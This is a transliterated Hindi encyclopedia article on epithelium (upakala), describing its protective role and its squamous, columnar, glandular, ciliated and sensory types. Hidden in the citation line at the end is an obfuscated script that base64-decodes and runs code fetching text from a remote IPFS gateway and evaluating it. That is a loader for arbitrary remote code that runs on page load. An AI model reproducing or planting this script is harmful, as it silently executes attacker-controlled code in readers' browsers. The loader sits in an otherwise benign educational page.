उपकला
upakala (epithiliyam) ek atyant mahin aur chikani jhilli hai jo sharir ke bhitari samast aangoan ke bahy prishthoan ko achchhadit kie hue hai. isi ka doosara roop sharir ke kuchh khokhale vivaroan ke bhitari prishth ko dhake rahata hai, jise aantarkala kaha jata hai.
upakala sharir ka ek vishisht ootak hai jo aangoan ka achchhadan karake unaki raksha karata hai. isake akshuny rahane se jivanu bhitar pravesh nahian kar pate. yah kala samast pachanapranali, mukh se lekar maladvar tak ko, achchhadit kie hue hai. yahi kala isake bhitari prishth ko achchhadit karati huee granthik upakala ka roop le leti hai aur pranali ki bhittiyoan mean ghusakar pachak rasotpadak granthianyaan ban jati hai. sharir mean jini bhi pranaliyaan ya nalikaean haian, jaise shvasanal tatha pranalikaean, raktavahiniyaan, rasavahiniyaan adi, sab upakala se achchhadit haian. isaki koshikaean ek doosare ke atyant nikat rahati haian. isake vishesh prakar ye haian : (1) shalki upakala, jisaki koshika shatkoni ya ashtakoni hoti hai. sara charm is prakar ki upakala se dhaka hua hai. (2) stanbhakar upakala, jisake koshanu stanbh ke saman hote haian. amashay tatha aantr ka bhitari prishth isi upakala se dhaka hua hai. (3) granthik upakala, jo aantr ki bhittiyoan mean raktagranthiyoan mean roopaantarit ho jati hai. yah stanbhakar kala ka hi ek roop hai. (4) romikamay upakala, jisaki koshikaean stanbhakar upakala ke hi saman hoti haian, kiantu unaki chapate sire se, jo pranali ki or rahata hai, sookshm bal sarikhe tantu nikale rahate haian. ye kriya kare samay usi prakar laharate haian, jaise khet mean lage gehooan ya jau ki batean vayupravah se laharati haian. is kriya ka prayojan pranali mean pravisht padarthoan ko bahar nikalana hota hai. yah upakala samast vasa pranali ko bhitar se achchhadit kie hue hai. (5) sanvedanik upakala ka kam sanvedana ko le jana hai. yah bhi stanbhakar upakala ka ek roop hai. bhitari karn, jihva ke svadakosh, tatha kahian-kahian charm mean, is upakala ke koshikasamooh milate haian.[1]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 110 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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